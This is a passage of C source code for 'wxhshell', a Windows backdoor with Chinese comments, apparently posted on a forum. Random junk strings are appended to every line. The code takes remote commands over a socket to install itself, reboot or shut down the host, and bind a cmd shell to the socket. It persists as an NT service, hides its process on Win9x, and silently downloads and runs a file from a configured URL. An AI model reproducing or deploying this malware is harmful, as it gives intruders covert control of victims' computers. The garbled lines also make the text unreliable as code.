  else { ;"dV"W  
]G5 w6&d  
    switch(cmd[0]) { h*w%jdQ6  
  +l9!Fl{MK\  
  // 帮助 \s=t|Wpu2  
  case '?': { ?o81E2TJO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `(_s|-$  
    break; KH(%?  
  } gMWjk7  
  // 安装 5|o6v1bM  
  case 'i': { wr$M$i:  
    if(Install()) j4jTSLQ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =g9*UzA"O  
    else |wiqGzAr{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $$ Oey)*  
    break; aMWmLpv4'  
    } zO).T M_  
  // 卸载 nD`w/0hT<  
  case 'r': { 9Iwe2lu  
    if(Uninstall()) G6/p1xy>o:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |iE50,  
    else dQV;3^iUY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DW5Y@;[  
    break; [|(N_[E|6  
    } YKH\rN6X  
  // 显示 wxhshell 所在路径 pWK(z[D  
  case 'p': { /& Jan:  
    char svExeFile[MAX_PATH]; HCyv]LR  
    strcpy(svExeFile,"\n\r"); ts\5uiB<%  
      strcat(svExeFile,ExeFile); MZSy6v  
        send(wsh,svExeFile,strlen(svExeFile),0); \;qW 3~  
    break; i;/5Y'KZ  
    } X*/ho  
  // 重启 f&BY/ n,  
  case 'b': { Fl kcU `j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w<Wf?aG  
    if(Boot(REBOOT)) YG3J$_?y0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'gC_)rK*  
    else { /fZe WU0W  
    closesocket(wsh); o4m\~as)Y  
    ExitThread(0); k5:G-BQ:  
    } 9 Vkb>yFX'  
    break; Nl^;A> <u  
    } mZSD(  
  // 关机 _jLL_GD  
  case 'd': { o]yl ;I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QZ6D7t Uc8  
    if(Boot(SHUTDOWN)) ,l !Ta "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _FH`pv  
    else { B8f8w)m  
    closesocket(wsh); `|{-+m  
    ExitThread(0); _P0T)-X\(  
    } "e.jZcN*  
    break; 7 n8"/0kc:  
    } DJ'zz&K  
  // 获取shell coW:DFX  
  case 's': { &;^YBW:I  
    CmdShell(wsh); z\K"Rg~J  
    closesocket(wsh); yE:+Lo`>  
    ExitThread(0); ;j[>9g  
    break; h"X;3b^ m  
  } X:HacYqtC  
  // 退出 sDPs G5q<  
  case 'x': { 2oVSn"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O(fM?4w  
    CloseIt(wsh); 7gf05Z'=  
    break; XGYbnZ~   
    } RL!Oi|8  
  // 离开 9s\A\$("l  
  case 'q': {  gbF+WE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L2\#w<d  
    closesocket(wsh); ]V^iN=(_5  
    WSACleanup(); Xe$I7iKD  
    exit(1); $"+djI?E9  
    break; B3We|oe!  
        } rDm~h~u5  
  } \k.{-nh  
  } B<5R   
X{5vXT\/y  
  // 提示信息 S\:P-&dC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nyQ&f'<   
} wPQH(~k:  
  } cG[l!Z  
0)Uce=t`  
  return; (SpX w,:  
} 4 {y)TZ  
\UPjf]&  
// shell模块句柄 _Gn2o2T  
int CmdShell(SOCKET sock) ~xkeuU  
{ )eUh=eW  
STARTUPINFO si; &XIt5<$~R  
ZeroMemory(&si,sizeof(si)); [w0QZyUn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |Luqoa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I(i}c~ R  
PROCESS_INFORMATION ProcessInfo; xN5)   
char cmdline[]="cmd"; `, OG7hg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @5N]ZQ9  
  return 0; smlpD3?va  
} ;rF\kX&Jh  
2;k*@k-t  
// 自身启动模式 Sdp&jZY  
int StartFromService(void) x-$&g*<  
{ 4w*Skl=F}  
typedef struct fz|cnU  
{ IHB} `e|  
  DWORD ExitStatus; XW[j!`nlk  
  DWORD PebBaseAddress; 7I&&bWB  
  DWORD AffinityMask; s2h@~y  
  DWORD BasePriority; J[l7di5  
  ULONG UniqueProcessId; qX/y5F`  
  ULONG InheritedFromUniqueProcessId; (/=f6^}  
}   PROCESS_BASIC_INFORMATION; MLXNZd   
GZEc l'h*  
PROCNTQSIP NtQueryInformationProcess; ?4+9fE<Q  
nEJq_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L{X_^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^]H5h]U '  
f86XkECZ;`  
  HANDLE             hProcess; |?!~{-o  
  PROCESS_BASIC_INFORMATION pbi; `95r0t0hh\  
abuh`H#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fY{1F   
  if(NULL == hInst ) return 0; 9Vg?{v!yn  
K18}W*$ d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bWH&P/>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `ZU($!(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /Gd=n  
d(\%Os   
  if (!NtQueryInformationProcess) return 0; Pr3qo4t.L  
{+ ][5<q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <`.X$r*  
  if(!hProcess) return 0; o)h_H;  
P@Hs`=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "i nd$Z`c  
V[RF </2T  
  CloseHandle(hProcess); {:Orn%Q  
`tB gH_$M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y^;#&k!  
if(hProcess==NULL) return 0; x.]i }mt  
Q 8T]\6)m  
HMODULE hMod; O8+7g+J=!  
char procName[255]; r /YMLQ  
unsigned long cbNeeded; 1ct;A_48  
/$i.0$L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <NR#Y%}-V  
bfFeBBi  
  CloseHandle(hProcess); zZ7;jyD  
aT{_0m$G10  
if(strstr(procName,"services")) return 1; // 以服务启动 v| gw9  
r A`V}>Xj  
  return 0; // 注册表启动 g,Lq)'N;O  
} P2NQHX  
^|/TC!v]M  
// 主模块 Tl%`P_J)-S  
int StartWxhshell(LPSTR lpCmdLine) EMh7z7}Rr  
{ ERUz3mjA/  
  SOCKET wsl; ]_Vx{oT7  
BOOL val=TRUE; ~Y`ldL  
  int port=0; ,`|3KE9  
  struct sockaddr_in door; lsJSYJG&  
LzG%Z1`  
  if(wscfg.ws_autoins) Install(); Z~AO0zUKY  
AS!?q  
port=atoi(lpCmdLine); S*==aftl(  
];VA!++  
if(port<=0) port=wscfg.ws_port; Q! o'}nA  
_Us#\+]_:  
  WSADATA data; Z 8S\@I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lsgh#x  
],>@";9u"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?~l6K(*2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a+[RS]le  
  door.sin_family = AF_INET; HU1h8E$-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tre]"2l  
  door.sin_port = htons(port); ;%B(_c  
bk[U/9Z\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pj[PIz  
closesocket(wsl); wu7Lk3  
return 1; srPWE^&  
} VEH&&@d  
%<)2/|lCd  
  if(listen(wsl,2) == INVALID_SOCKET) { <C_jF  
closesocket(wsl); `EEL1[:BR  
return 1; q2/pNV#  
} spGb!Y`mR  
  Wxhshell(wsl); ZXu>,Jy  
  WSACleanup(); e|NG"<  
L(/e&J@><  
return 0; /1Qr#OJ(]  
QHDXW1+|^  
} BTl k Etm  
NiNM{[3oS  
// 以NT服务方式启动 j5QuAU8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .sxcCrQE  
{ O)C\v F#  
DWORD   status = 0; zE336  
  DWORD   specificError = 0xfffffff; N"pc,Q\xU  
H~oail{EQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xj<Rp|7&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fWCo;4<5?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2n,*Nd`  
  serviceStatus.dwWin32ExitCode     = 0; ~De"?  
  serviceStatus.dwServiceSpecificExitCode = 0; +s"hqm  
  serviceStatus.dwCheckPoint       = 0; ,QOG!T4  
  serviceStatus.dwWaitHint       = 0; +cD<:"L'g  
 Qn^'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dl.N.P7}4  
  if (hServiceStatusHandle==0) return; dah[:rP,n{  
mH54ja2  
status = GetLastError(); 5 z~1Dw  
  if (status!=NO_ERROR) __lM7LFL  
{ ,oORW/0iS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d)B@x`  
    serviceStatus.dwCheckPoint       = 0; @*F"Q1 wI  
    serviceStatus.dwWaitHint       = 0; ~9?cn  
    serviceStatus.dwWin32ExitCode     = status; b IH;  
    serviceStatus.dwServiceSpecificExitCode = specificError; a:+{f&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &qLf@1AD  
    return; 3T31kQv{  
  }  N O2XA\  
w4_ U0 n3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [NQOrcAQ  
  serviceStatus.dwCheckPoint       = 0; $[9%QQk5<L  
  serviceStatus.dwWaitHint       = 0; n+! AnKq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gn22<C/  
} E_gD:PPU5  
"HX<,l8f%  
// 处理NT服务事件,比如:启动、停止 Qf58ig-vCY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2{M^,=^>  
{ V GL aN%|  
switch(fdwControl) t$ +?6E  
{ @M<|:Z %.@  
case SERVICE_CONTROL_STOP: yTyj'-4  
  serviceStatus.dwWin32ExitCode = 0; cO-7ke  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ".f ;+wH  
  serviceStatus.dwCheckPoint   = 0; xpNH?#&  
  serviceStatus.dwWaitHint     = 0; Om\o#{D  
  { ylUb9KusOx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F^l[GdUosK  
  } 5 VRYO"D:  
  return; DDvh4<Hk  
case SERVICE_CONTROL_PAUSE: s J\BF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7t3X)Ah  
  break; S,D8F&bg  
case SERVICE_CONTROL_CONTINUE: "lQ*1.i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?M$.+V{a  
  break; 3NZK*!@ '  
case SERVICE_CONTROL_INTERROGATE: s|@6S8E  
  break; -)s qc P  
}; KTK <gV9:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (w&F/ynO:  
} %/EVUN9=  
/TE_W@?^  
// 标准应用程序主函数 U T>s 5C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T _M!<J  
{ JgG$?n\  
agkA}O  
// 获取操作系统版本 5NBV[EP  
OsIsNt=GetOsVer(); U6=..K!q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \%u3  
&9/O!3p)  
  // 从命令行安装 b>_o xK  
  if(strpbrk(lpCmdLine,"iI")) Install(); #1J &7F1  
Yi .u"sh]  
  // 下载执行文件 TP VVck-T8  
if(wscfg.ws_downexe) { B! rTD5a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V zBqjE_  
  WinExec(wscfg.ws_filenam,SW_HIDE); , l%C X.9  
} c_\YBe]wJ  
;V@WtZv  
if(!OsIsNt) { xrlmKSPa  
// 如果时win9x,隐藏进程并且设置为注册表启动 =nz}XH%=  
HideProc(); ~7Y+2FZ  
StartWxhshell(lpCmdLine); V=)_yIS  
} jN e`;o  
else 8m5p_\&  
  if(StartFromService()) P D4Tz!F  
  // 以服务方式启动 $ oTdfb  
  StartServiceCtrlDispatcher(DispatchTable); & SiP\65N  
else MRQ.`IoS  
  // 普通方式启动 _AYXc] 4%  
  StartWxhshell(lpCmdLine); OtSL*'7>  
c/Qt Ot  
return 0; J~=n`pW  
}
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只看该作者 1 发表于: 2006-10-10
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